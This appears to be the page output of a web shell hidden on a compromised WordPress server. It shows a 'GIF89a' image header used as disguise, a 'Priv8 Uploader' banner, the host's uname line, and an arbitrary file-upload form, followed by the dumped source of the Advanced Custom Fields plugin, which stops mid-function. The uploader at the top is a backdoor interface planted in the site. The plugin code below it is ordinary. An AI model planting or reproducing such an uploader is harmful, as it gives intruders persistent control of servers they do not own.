GIF89a; <pre><p>kill_the_net // Priv8 Uploader</p>Linux pod-401154 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>
&lt;?php
/**
 * Advanced Custom Fields
 *
 * @package ACF
 * @author  WP Engine
 *
 * @wordpress-plugin
 * Plugin Name:       Advanced Custom Fields
 * Plugin URI:        https://www.advancedcustomfields.com
 * Description:       Customize WordPress with powerful, professional and intuitive fields.
 * Version:           6.8.10
 * Author:            WP Engine
 * Author URI:        https://wpengine.com/?utm_source=wordpress.org&amp;utm_medium=referral&amp;utm_campaign=plugin_directory&amp;utm_content=advanced_custom_fields
 * Update URI:        https://www.advancedcustomfields.com
 * Text Domain:       acf
 * Domain Path:       /lang
 * Requires PHP:      7.4
 * Requires at least: 6.2
 */

/**
 * @package ACF
 * @author  WP Engine
 *
 * © 2026 Advanced Custom Fields (ACF®). All rights reserved.
 * &quot;ACF&quot; is a trademark of WP Engine.
 * Licensed under the GNU General Public License v2 or later.
 * https://www.gnu.org/licenses/gpl-2.0.html
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

if ( ! class_exists( &#039;ACF&#039; ) ) {

	/**
	 * The main ACF class
	 */
	class ACF {

		/**
		 * The plugin version number.
		 *
		 * @var string
		 */
		public $version = &#039;6.8.10&#039;;

		/**
		 * The plugin settings array.
		 *
		 * @var array
		 */
		public $settings = array();

		/**
		 * The plugin data array.
		 *
		 * @var array
		 */
		public $data = array();

		/**
		 * Storage for class instances.
		 *
		 * @var array
		 */
		public $instances = array();

		/**
		 * The loop instance.
		 *
		 * @var acf_loop
		 */
		public $loop;

		/**
		 * The revisions instance.
		 *
		 * @var acf_revisions
		 */
		public $revisions;

		/**
		 * The fields instance.
		 *
		 * @var acf_fields
		 */
		public $fields;

		/**
		 * The form front instance.
		 *
		 * @var acf_form_front
		 */
		public $form_front;

		/**
		 * The validation instance.
		 *
		 * @var acf_validation
		 */
		public $validation;

		/**
		 * The admin tools instance.
		 *
		 * @var acf_admin_tools
		 */
		public $admin_tools;

		/**
		 * A dummy constructor to ensure ACF is only setup once.
		 *
		 * @date    23/06/12
		 * @since   5.0.0
		 */
		public function __construct() {
			// Do nothing.
		}

		/**
		 * Sets up the ACF plugin.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 */
		public function initialize() {

			// Define constants.
			$this-&gt;define( &#039;ACF&#039;, true );
			$this-&gt;define( &#039;ACF_PATH&#039;, plugin_dir_path( __FILE__ ) );
			$this-&gt;define( &#039;ACF_BASENAME&#039;, plugin_basename( __FILE__ ) );
			$this-&gt;define( &#039;ACF_VERSION&#039;, $this-&gt;version );
			$this-&gt;define( &#039;ACF_MAJOR_VERSION&#039;, 6 );
			$this-&gt;define( &#039;ACF_FIELD_API_VERSION&#039;, 5 );
			$this-&gt;define( &#039;ACF_UPGRADE_VERSION&#039;, &#039;5.5.0&#039; ); // Highest version with an upgrade routine. See upgrades.php.

			// Register activation hook.
			register_activation_hook( __FILE__, array( $this, &#039;acf_plugin_activated&#039; ) );

			// Define settings.
			$this-&gt;settings = array(
				&#039;name&#039;                    =&gt; &#039;Advanced Custom Fields&#039;,
				&#039;slug&#039;                    =&gt; dirname( ACF_BASENAME ),
				&#039;version&#039;                 =&gt; ACF_VERSION,
				&#039;basename&#039;                =&gt; ACF_BASENAME,
				&#039;path&#039;                    =&gt; ACF_PATH,
				&#039;file&#039;                    =&gt; __FILE__,
				&#039;url&#039;                     =&gt; plugin_dir_url( __FILE__ ),
				&#039;show_admin&#039;              =&gt; true,
				&#039;show_updates&#039;            =&gt; true,
				&#039;enable_post_types&#039;       =&gt; true,
				&#039;enable_options_pages_ui&#039; =&gt; true,
				&#039;stripslashes&#039;            =&gt; false,
				&#039;local&#039;                   =&gt; true,
				&#039;json&#039;                    =&gt; true,
				&#039;save_json&#039;               =&gt; &#039;&#039;,
				&#039;load_json&#039;               =&gt; array(),
				&#039;default_language&#039;        =&gt; &#039;&#039;,
				&#039;current_language&#039;        =&gt; &#039;&#039;,
				&#039;capability&#039;              =&gt; &#039;manage_options&#039;,
				&#039;uploader&#039;                =&gt; &#039;wp&#039;,
				&#039;autoload&#039;                =&gt; false,
				&#039;l10n&#039;                    =&gt; true,
				&#039;l10n_textdomain&#039;         =&gt; &#039;&#039;,
				&#039;google_api_key&#039;          =&gt; &#039;&#039;,
				&#039;google_api_client&#039;       =&gt; &#039;&#039;,
				&#039;enqueue_google_maps&#039;     =&gt; true,
				&#039;enqueue_select2&#039;         =&gt; true,
				&#039;enqueue_datepicker&#039;      =&gt; true,
				&#039;enqueue_datetimepicker&#039;  =&gt; true,
				&#039;select2_version&#039;         =&gt; 4,
				&#039;row_index_offset&#039;        =&gt; 1,
				&#039;remove_wp_meta_box&#039;      =&gt; true,
				&#039;rest_api_enabled&#039;        =&gt; true,
				&#039;rest_api_format&#039;         =&gt; &#039;light&#039;,
				&#039;rest_api_embed_links&#039;    =&gt; true,
				&#039;preload_blocks&#039;          =&gt; true,
				&#039;enable_shortcode&#039;        =&gt; true,
				&#039;enable_bidirection&#039;      =&gt; true,
				&#039;enable_block_bindings&#039;   =&gt; true,
				&#039;enable_meta_box_cb_edit&#039; =&gt; true,
				&#039;enable_acf_ai&#039;           =&gt; false,
				&#039;enable_schema&#039;           =&gt; false,
			);

			// Include autoloader.
			include_once __DIR__ . &#039;/vendor/autoload.php&#039;;

			// Include utility functions.
			include_once ACF_PATH . &#039;includes/acf-utility-functions.php&#039;;

			// Include previous API functions.
			acf_include( &#039;includes/api/api-helpers.php&#039; );
			acf_include( &#039;includes/api/api-template.php&#039; );
			acf_include( &#039;includes/api/api-term.php&#039; );

			// Include classes.
			acf_include( &#039;includes/class-acf-data.php&#039; );
			acf_include( &#039;includes/class-acf-internal-post-type.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field.php&#039; );
			acf_include( &#039;includes/locations/abstract-acf-legacy-location.php&#039; );
			acf_include( &#039;includes/locations/abstract-acf-location.php&#039; );

			// Initialise autoloaded classes.
			new ACF\Site_Health\Site_Health();

			// Include functions.
			acf_include( &#039;includes/acf-helper-functions.php&#039; );

			acf_new_instance( &#039;ACF\Meta\Comment&#039; );
			acf_new_instance( &#039;ACF\Meta\Post&#039; );
			acf_new_instance( &#039;ACF\Meta\Term&#039; );
			acf_new_instance( &#039;ACF\Meta\User&#039; );
			acf_new_instance( &#039;ACF\Meta\Option&#039; );

			if ( defined( &#039;WP_CLI&#039; ) &amp;&amp; WP_CLI ) {
				acf_new_instance( &#039;ACF\CLI\CLI&#039; );
			}

			acf_include( &#039;includes/acf-hook-functions.php&#039; );
			acf_include( &#039;includes/acf-field-functions.php&#039; );
			acf_include( &#039;includes/acf-bidirectional-functions.php&#039; );
			acf_include( &#039;includes/acf-internal-post-type-functions.php&#039; );
			acf_include( &#039;includes/acf-post-type-functions.php&#039; );
			acf_include( &#039;includes/acf-taxonomy-functions.php&#039; );
			acf_include( &#039;includes/acf-field-group-functions.php&#039; );
			acf_include( &#039;includes/acf-form-functions.php&#039; );
			acf_include( &#039;includes/acf-meta-functions.php&#039; );
			acf_include( &#039;includes/acf-post-functions.php&#039; );
			acf_include( &#039;includes/acf-user-functions.php&#039; );
			acf_include( &#039;includes/acf-value-functions.php&#039; );
			acf_include( &#039;includes/acf-input-functions.php&#039; );
			acf_include( &#039;includes/acf-wp-functions.php&#039; );

			// Override the shortcode default value based on the version when installed.
			$first_activated_version = acf_get_version_when_first_activated();

			// Only enable shortcode by default for versions prior to 6.3
			if ( $first_activated_version &amp;&amp; version_compare( $first_activated_version, &#039;6.3&#039;, &#039;&gt;=&#039; ) ) {
				$this-&gt;settings[&#039;enable_shortcode&#039;] = false;
			}

			// Include core.
			acf_include( &#039;includes/fields.php&#039; );
			acf_include( &#039;includes/locations.php&#039; );
			acf_include( &#039;includes/assets.php&#039; );
			acf_include( &#039;includes/compatibility.php&#039; );
			acf_include( &#039;includes/deprecated.php&#039; );
			acf_include( &#039;includes/l10n.php&#039; );
			acf_include( &#039;includes/local-fields.php&#039; );
			acf_include( &#039;includes/local-meta.php&#039; );
			acf_include( &#039;includes/local-json.php&#039; );
			acf_include( &#039;includes/loop.php&#039; );
			acf_include( &#039;includes/media.php&#039; );
			acf_include( &#039;includes/revisions.php&#039; );
			acf_include( &#039;includes/upgrades.php&#039; );
			acf_include( &#039;includes/validation.php&#039; );
			acf_include( &#039;includes/rest-api.php&#039; );

			// Include field group class.
			acf_include( &#039;includes/post-types/class-acf-field-group.php&#039; );

			// Include ajax.
			acf_include( &#039;includes/ajax/class-acf-ajax.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-check-screen.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-user-setting.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-upgrade.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-query.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-query-users.php&#039; );
			acf_include( &#039;includes/ajax/class-acf-ajax-local-json-diff.php&#039; );

			// Include forms.
			acf_include( &#039;includes/forms/form-attachment.php&#039; );
			acf_include( &#039;includes/forms/form-comment.php&#039; );
			acf_include( &#039;includes/forms/form-customizer.php&#039; );
			acf_include( &#039;includes/forms/form-front.php&#039; );
			acf_include( &#039;includes/forms/form-nav-menu.php&#039; );
			acf_include( &#039;includes/forms/form-post.php&#039; );
			acf_include( &#039;includes/forms/form-gutenberg.php&#039; );
			acf_include( &#039;includes/forms/form-taxonomy.php&#039; );
			acf_include( &#039;includes/forms/form-user.php&#039; );
			acf_include( &#039;includes/forms/form-widget.php&#039; );

			// Include admin.
			if ( is_admin() ) {
				acf_include( &#039;includes/admin/admin.php&#039; );
				acf_include( &#039;includes/admin/admin-internal-post-type-list.php&#039; );
				acf_include( &#039;includes/admin/admin-internal-post-type.php&#039; );
				acf_include( &#039;includes/admin/admin-notices.php&#039; );
				acf_include( &#039;includes/admin/admin-tools.php&#039; );
				acf_include( &#039;includes/admin/admin-upgrade.php&#039; );
			}

			// Include legacy.
			acf_include( &#039;includes/legacy/legacy-locations.php&#039; );

			// Include updater if included with this build.
			acf_include( &#039;includes/Updater/init.php&#039; );

			// Include PRO if included with this build.
			if ( ! defined( &#039;ACF_PREVENT_PRO_LOAD&#039; ) || ( defined( &#039;ACF_PREVENT_PRO_LOAD&#039; ) &amp;&amp; ! ACF_PREVENT_PRO_LOAD ) ) {
				acf_include( &#039;pro/acf-pro.php&#039; );
			}

			if ( is_admin() &amp;&amp; function_exists( &#039;acf_is_pro&#039; ) &amp;&amp; ! acf_is_pro() ) {
				acf_include( &#039;includes/admin/admin-options-pages-preview.php&#039; );
				acf_include( &#039;includes/admin/admin-email-opt-in-banner.php&#039; );
			}

			// Add actions.
			add_action( &#039;init&#039;, array( $this, &#039;register_post_status&#039; ), 4 );
			add_action( &#039;init&#039;, array( $this, &#039;init&#039; ), 5 );
			add_action( &#039;init&#039;, array( $this, &#039;register_post_types&#039; ), 5 );
			add_action( &#039;activated_plugin&#039;, array( $this, &#039;deactivate_other_instances&#039; ) );
			add_action( &#039;pre_current_active_plugins&#039;, array( $this, &#039;plugin_deactivated_notice&#039; ) );

			// Add filters.
			add_filter( &#039;posts_where&#039;, array( $this, &#039;posts_where&#039; ), 10, 2 );
		}

		/**
		 * Completes the setup process on &quot;init&quot; of earlier.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 */
		public function init() {

			// Bail early if called directly from functions.php or plugin file.
			if ( ! did_action( &#039;plugins_loaded&#039; ) ) {
				return;
			}

			// This function may be called directly from template functions. Bail early if already did this.
			if ( acf_did( &#039;init&#039; ) ) {
				return;
			}

			// Update url setting. Allows other plugins to modify the URL (force SSL).
			acf_update_setting( &#039;url&#039;, plugin_dir_url( __FILE__ ) );

			// Load textdomain file.
			acf_load_textdomain();

			// Make plugin name translatable.
			acf_update_setting( &#039;name&#039;, __( &#039;Advanced Custom Fields&#039;, &#039;acf&#039; ) );

			// Include 3rd party compatiblity.
			acf_include( &#039;includes/third-party.php&#039; );

			// Include wpml support.
			if ( defined( &#039;ICL_SITEPRESS_VERSION&#039; ) ) {
				acf_include( &#039;includes/wpml.php&#039; );
			}

			// Add post types and taxonomies.
			if ( acf_get_setting( &#039;enable_post_types&#039; ) ) {
				acf_include( &#039;includes/post-types/class-acf-taxonomy.php&#039; );
				acf_include( &#039;includes/post-types/class-acf-post-type.php&#039; );
			}

			// Add other ACF internal post types.
			do_action( &#039;acf/init_internal_post_types&#039; );

			// Include fields.
			acf_include( &#039;includes/fields/class-acf-field-text.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-textarea.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-number.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-range.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-email.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-url.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-password.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-image.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-file.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-wysiwyg.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-oembed.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-select.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-checkbox.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-radio.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-button-group.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-true_false.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-link.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-post_object.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-page_link.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-relationship.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-taxonomy.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-user.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-google-map.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-date_picker.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-date_time_picker.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-time_picker.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-color_picker.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-icon_picker.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-message.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-accordion.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-tab.php&#039; );
			acf_include( &#039;includes/fields/class-acf-field-group.php&#039; );

			/**
			 * Fires after field types have been included.
			 *
			 * @date    28/09/13
			 * @since   5.0.0
			 *
			 * @param   int ACF_FIELD_API_VERSION The field API version.
			 */
			do_action( &#039;acf/include_field_types&#039;, ACF_FIELD_API_VERSION );

			// Include locations.
			acf_include( &#039;includes/locations/class-acf-location-post-type.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post-template.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post-status.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post-format.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post-category.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post-taxonomy.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-post.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-page-template.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-page-type.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-page-parent.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-page.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-current-user.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-current-user-role.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-user-form.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-user-role.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-taxonomy.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-attachment.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-comment.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-widget.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-nav-menu.php&#039; );
			acf_include( &#039;includes/locations/class-acf-location-nav-menu-item.php&#039; );

			/**
			 * Fires after location types have been included.
			 *
			 * @date    28/09/13
			 * @since   5.0.0
			 *
			 * @param   int ACF_FIELD_API_VERSION The field API version.
			 */
			do_action( &#039;acf/include_location_rules&#039;, ACF_FIELD_API_VERSION );

			/**
			 * Fires during initialization. Used to add local fields.
			 *
			 * @date    28/09/13
			 * @since   5.0.0
			 *
			 * @param   int ACF_FIELD_API_VERSION The field API version.
			 */
			do_action( &#039;acf/include_fields&#039;, ACF_FIELD_API_VERSION );

			/**
			 * Fires during initialization. Used to add local post types.
			 *
			 * @since 6.1
			 *
			 * @param int ACF_MAJOR_VERSION The major version of ACF.
			 */
			do_action( &#039;acf/include_post_types&#039;, ACF_MAJOR_VERSION );

			/**
			 * Fires during initialization. Used to add local taxonomies.
			 *
			 * @since 6.1
			 *
			 * @param int ACF_MAJOR_VERSION The major version of ACF.
			 */
			do_action( &#039;acf/include_taxonomies&#039;, ACF_MAJOR_VERSION );

			// If we&#039;re on 6.5 or newer, load block bindings.
			if ( version_compare( get_bloginfo( &#039;version&#039; ), &#039;6.5&#039;, &#039;&gt;=&#039; ) ) {
				new ACF\Blocks\Bindings();
			}

			// Initialize ACF AI.
			acf_new_instance( &#039;\ACF\AI\AI&#039; );

			/**
			 * Fires after ACF is completely &quot;initialized&quot;.
			 *
			 * @date    28/09/13
			 * @since   5.0.0
			 *
			 * @param   int ACF_MAJOR_VERSION The major version of ACF.
			 */
			do_action( &#039;acf/init&#039;, ACF_MAJOR_VERSION );
		}

		/**
		 * Registers the ACF post types.
		 *
		 * @date    22/10/2015
		 * @since   5.3.2
		 */
		public function register_post_types() {
			$cap = acf_get_setting( &#039;capability&#039; );

			// Register the Field Group post type.
			register_post_type(
				&#039;acf-field-group&#039;,
				array(
					&#039;labels&#039;          =&gt; array(
						&#039;name&#039;               =&gt; __( &#039;Field Groups&#039;, &#039;acf&#039; ),
						&#039;singular_name&#039;      =&gt; __( &#039;Field Group&#039;, &#039;acf&#039; ),
						&#039;add_new&#039;            =&gt; __( &#039;Add New&#039;, &#039;acf&#039; ),
						&#039;add_new_item&#039;       =&gt; __( &#039;Add New Field Group&#039;, &#039;acf&#039; ),
						&#039;edit_item&#039;          =&gt; __( &#039;Edit Field Group&#039;, &#039;acf&#039; ),
						&#039;new_item&#039;           =&gt; __( &#039;New Field Group&#039;, &#039;acf&#039; ),
						&#039;view_item&#039;          =&gt; __( &#039;View Field Group&#039;, &#039;acf&#039; ),
						&#039;search_items&#039;       =&gt; __( &#039;Search Field Groups&#039;, &#039;acf&#039; ),
						&#039;not_found&#039;          =&gt; __( &#039;No Field Groups found&#039;, &#039;acf&#039; ),
						&#039;not_found_in_trash&#039; =&gt; __( &#039;No Field Groups found in Trash&#039;, &#039;acf&#039; ),
					),
					&#039;public&#039;          =&gt; false,
					&#039;hierarchical&#039;    =&gt; true,
					&#039;show_ui&#039;         =&gt; true,
					&#039;show_in_menu&#039;    =&gt; false,
					&#039;_builtin&#039;        =&gt; false,
					&#039;capability_type&#039; =&gt; &#039;post&#039;,
					&#039;capabilities&#039;    =&gt; array(
						&#039;edit_post&#039;    =&gt; $cap,
						&#039;delete_post&#039;  =&gt; $cap,
						&#039;edit_posts&#039;   =&gt; $cap,
						&#039;delete_posts&#039; =&gt; $cap,
					),
					&#039;supports&#039;        =&gt; false,
					&#039;rewrite&#039;         =&gt; false,
					&#039;query_var&#039;       =&gt; false,
				)
			);

			// Register the Field post type.
			register_post_type(
				&#039;acf-field&#039;,
				array(
					&#039;labels&#039;          =&gt; array(
						&#039;name&#039;               =&gt; __( &#039;Fields&#039;, &#039;acf&#039; ),
						&#039;singular_name&#039;      =&gt; __( &#039;Field&#039;, &#039;acf&#039; ),
						&#039;add_new&#039;            =&gt; __( &#039;Add New&#039;, &#039;acf&#039; ),
						&#039;add_new_item&#039;       =&gt; __( &#039;Add New Field&#039;, &#039;acf&#039; ),
						&#039;edit_item&#039;          =&gt; __( &#039;Edit Field&#039;, &#039;acf&#039; ),
						&#039;new_item&#039;           =&gt; __( &#039;New Field&#039;, &#039;acf&#039; ),
						&#039;view_item&#039;          =&gt; __( &#039;View Field&#039;, &#039;acf&#039; ),
						&#039;search_items&#039;       =&gt; __( &#039;Search Fields&#039;, &#039;acf&#039; ),
						&#039;not_found&#039;          =&gt; __( &#039;No Fields found&#039;, &#039;acf&#039; ),
						&#039;not_found_in_trash&#039; =&gt; __( &#039;No Fields found in Trash&#039;, &#039;acf&#039; ),
					),
					&#039;public&#039;          =&gt; false,
					&#039;hierarchical&#039;    =&gt; true,
					&#039;show_ui&#039;         =&gt; false,
					&#039;show_in_menu&#039;    =&gt; false,
					&#039;_builtin&#039;        =&gt; false,
					&#039;capability_type&#039; =&gt; &#039;post&#039;,
					&#039;capabilities&#039;    =&gt; array(
						&#039;edit_post&#039;    =&gt; $cap,
						&#039;delete_post&#039;  =&gt; $cap,
						&#039;edit_posts&#039;   =&gt; $cap,
						&#039;delete_posts&#039; =&gt; $cap,
					),
					&#039;supports&#039;        =&gt; array( &#039;title&#039; ),
					&#039;rewrite&#039;         =&gt; false,
					&#039;query_var&#039;       =&gt; false,
				)
			);
		}

		/**
		 * Registers the ACF post statuses.
		 *
		 * @date    22/10/2015
		 * @since   5.3.2
		 */
		public function register_post_status() {

			// Register the Inactive post status.
			register_post_status(
				&#039;acf-disabled&#039;,
				array(
					&#039;label&#039;                     =&gt; _x( &#039;Inactive&#039;, &#039;post status&#039;, &#039;acf&#039; ),
					&#039;public&#039;                    =&gt; true,
					&#039;exclude_from_search&#039;       =&gt; false,
					&#039;show_in_admin_all_list&#039;    =&gt; true,
					&#039;show_in_admin_status_list&#039; =&gt; true,
					/* translators: counts for inactive field groups */
					&#039;label_count&#039;               =&gt; _n_noop( &#039;Inactive &lt;span class=&quot;count&quot;&gt;(%s)&lt;/span&gt;&#039;, &#039;Inactive &lt;span class=&quot;count&quot;&gt;(%s)&lt;/span&gt;&#039;, &#039;acf&#039; ),
				)
			);
		}

		/**
		 * Checks if another version of ACF/ACF PRO is active and deactivates it.
		 * Hooked on `activated_plugin` so other plugin is deactivated when current plugin is activated.
		 *
		 * @param string $plugin The plugin being activated.
		 */
		public function deactivate_other_instances( $plugin ) {
			if ( ! in_array( $plugin, array( &#039;advanced-custom-fields/acf.php&#039;, &#039;advanced-custom-fields-pro/acf.php&#039; ), true ) ) {
				return;
			}

			$plugin_to_deactivate  = &#039;advanced-custom-fields/acf.php&#039;;
			$deactivated_notice_id = &#039;1&#039;;

			// If we just activated the free version, deactivate the pro version.
			if ( $plugin === $plugin_to_deactivate ) {
				$plugin_to_deactivate  = &#039;advanced-custom-fields-pro/acf.php&#039;;
				$deactivated_notice_id = &#039;2&#039;;
			}

			if ( is_multisite() &amp;&amp; is_network_admin() ) {
				$active_plugins = (array) get_site_option( &#039;active_sitewide_plugins&#039;, array() );
				$active_plugins = array_keys( $active_plugins );
			} else {
				$active_plugins = (array) get_option( &#039;active_plugins&#039;, array() );
			}

			foreach ( $active_plugins as $plugin_basename ) {
				if ( $plugin_to_deactivate === $plugin_basename ) {
					set_transient( &#039;acf_deactivated_notice_id&#039;, $deactivated_notice_id, 1 * HOUR_IN_SECONDS );
					deactivate_plugins( $plugin_basename );
					return;
				}
			}
		}

		/**
		 * Displays a notice when either ACF or ACF PRO is automatically deactivated.
		 */
		public function plugin_deactivated_notice() {
			$deactivated_notice_id = (int) get_transient( &#039;acf_deactivated_notice_id&#039; );
			if ( ! in_array( $deactivated_notice_id, array( 1, 2 ), true ) ) {
				return;
			}

			$message = __( &quot;Advanced Custom Fields and Advanced Custom Fields PRO should not be active at the same time. We&#039;ve automatically deactivated Advanced Custom Fields.&quot;, &#039;acf&#039; );
			if ( 2 === $deactivated_notice_id ) {
				$message = __( &quot;Advanced Custom Fields and Advanced Custom Fields PRO should not be active at the same time. We&#039;ve automatically deactivated Advanced Custom Fields PRO.&quot;, &#039;acf&#039; );
			}

			?&gt;
			&lt;div class=&quot;updated&quot; style=&quot;border-left: 4px solid #ffba00;&quot;&gt;
				&lt;p&gt;&lt;?php echo esc_html( $message ); ?&gt;&lt;/p&gt;
			&lt;/div&gt;
			&lt;?php

			delete_transient( &#039;acf_deactivated_notice_id&#039; );
		}

		/**
		 * Filters the $where clause allowing for custom WP_Query args.
		 *
		 * @date    31/8/19
		 * @since   5.8.1
		 *
		 * @param  string   $where    The WHERE clause.
		 * @param  WP_Query $wp_query The query object.
		 * @return string
		 */
		public function posts_where( $where, $wp_query ) {
			global $wpdb;

			$field_key     = $wp_query-&gt;get( &#039;acf_field_key&#039; );
			$field_name    = $wp_query-&gt;get( &#039;acf_field_name&#039; );
			$group_key     = $wp_query-&gt;get( &#039;acf_group_key&#039; );
			$post_type_key = $wp_query-&gt;get( &#039;acf_post_type_key&#039; );
			$taxonomy_key  = $wp_query-&gt;get( &#039;acf_taxonomy_key&#039; );

			// Add custom &quot;acf_field_key&quot; arg.
			if ( $field_key ) {
				$where .= $wpdb-&gt;prepare( &quot; AND {$wpdb-&gt;posts}.post_name = %s&quot;, $field_key );
			}

			// Add custom &quot;acf_field_name&quot; arg.
			if ( $field_name ) {
				$where .= $wpdb-&gt;prepare( &quot; AND {$wpdb-&gt;posts}.post_excerpt = %s&quot;, $field_name );
			}

			// Add custom &quot;acf_group_key&quot; arg.
			if ( $group_key ) {
				$where .= $wpdb-&gt;prepare( &quot; AND {$wpdb-&gt;posts}.post_name = %s&quot;, $group_key );
			}

			// Add custom &quot;acf_post_type_key&quot; arg.
			if ( $post_type_key ) {
				$where .= $wpdb-&gt;prepare( &quot; AND {$wpdb-&gt;posts}.post_name = %s&quot;, $post_type_key );
			}

			// Add custom &quot;acf_taxonomy_key&quot; arg.
			if ( $taxonomy_key ) {
				$where .= $wpdb-&gt;prepare( &quot; AND {$wpdb-&gt;posts}.post_name = %s&quot;, $taxonomy_key );
			}

			return $where;
		}

		/**
		 * Defines a constant if doesnt already exist.
		 *
		 * @date    3/5/17
		 * @since   5.5.13
		 *
		 * @param   string $name  The constant name.
		 * @param   mixed  $value The constant value.
		 * @return  void
		 */
		public function define( $name, $value = true ) {
			if ( ! defined( $name ) ) {
				define( $name, $value );
			}
		}

		/**
		 * Returns true if a setting exists for this name.
		 *
		 * @date    2/2/18
		 * @since   5.6.5
		 *
		 * @param   string $name The setting name.
		 * @return  boolean
		 */
		public function has_setting( $name ) {
			return isset( $this-&gt;settings[ $name ] );
		}

		/**
		 * Returns a setting or null if doesn&#039;t exist.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 *
		 * @param   string $name The setting name.
		 * @return  mixed
		 */
		public function get_setting( $name ) {
			return isset( $this-&gt;settings[ $name ] ) ? $this-&gt;settings[ $name ] : null;
		}

		/**
		 * Updates a setting for the given name and value.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 *
		 * @param   string $name  The setting name.
		 * @param   mixed  $value The setting value.
		 * @return  true
		 */
		public function update_setting( $name, $value ) {
			$this-&gt;settings[ $name ] = $value;
			return true;
		}

		/**
		 * Returns data or null if doesn&#039;t exist.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 *
		 * @param   string $name The data name.
		 * @return  mixed
		 */
		public function get_data( $name ) {
			return isset( $this-&gt;data[ $name ] ) ? $this-&gt;data[ $name ] : null;
		}

		/**
		 * Sets data for the given name and value.
		 *
		 * @date    28/09/13
		 * @since   5.0.0
		 *
		 * @param   string $name  The data name.
		 * @param   mixed  $value The data value.
		 * @return  void
		 */
		public function set_data( $name, $value ) {
			$this-&gt;data[ $name ] = $value;
		}

		/**
		 * Returns an instance or null if doesn&#039;t exist.
		 *
		 * @date    13/2/18
		 * @since   5.6.9
		 *
		 * @param   string $class The instance class name.
		 * @return  object
		 */
		public function get_instance( $class ) {
			$name = strtolower( $class );
			return isset( $this-&gt;instances[ $name ] ) ? $this-&gt;instances[ $name ] : null;
		}

		/**
		 * Creates and stores an instance of the given class.
		 *
		 * @date    13/2/18
		 * @since   5.6.9
		 *
		 * @param   string $class The instance class name.
		 * @return  object
		 */
		public function new_instance( $class ) {
			$instance                 = new $class();
			$name                     = strtolower( $class );
			$this-&gt;instances[ $name ] = $instance;
			return $instance;
		}

		/**
		 * Magic __isset method for backwards compatibility.
		 *
		 * @date    24/4/20
		 * @since   5.9.0
		 *
		 * @param   string $key Key name.
		 * @return  boolean
		 */
		public function __isset( $key ) {
			return in_array( $key, array( &#039;locations&#039;, &#039;json&#039; ), true );
		}

		/**
		 * Magic __get method for backwards compatibility.
		 *
		 * @date    24/4/20
		 * @since   5.9.0
		 *
		 * @param   string $key Key name.
		 * @return  mixed
		 */
		public function __get( $key ) {
			switch ( $key ) {
				case &#039;locations&#039;:
					return acf_get_instance( &#039;ACF_Legacy_Locations&#039; );
				case &#039;json&#039;:
					return acf_get_instance( &#039;ACF_Local_JSON&#039; );
			}
			return null;
		}

		/**
		 * Plugin Activation Hook
		 *
		 * @since 6.2.6
		 */
		public function acf_plugin_activated() {
			// Set the first activated version of ACF.
			if ( null === get_option( &#039;acf_first_activated_version&#039;, null ) ) {
				// If acf_version is set, this isn&#039;t the first activated version, so leave it unset so it&#039;s legacy.
				if ( null === get_option( &#039;acf_version&#039;, null ) ) {
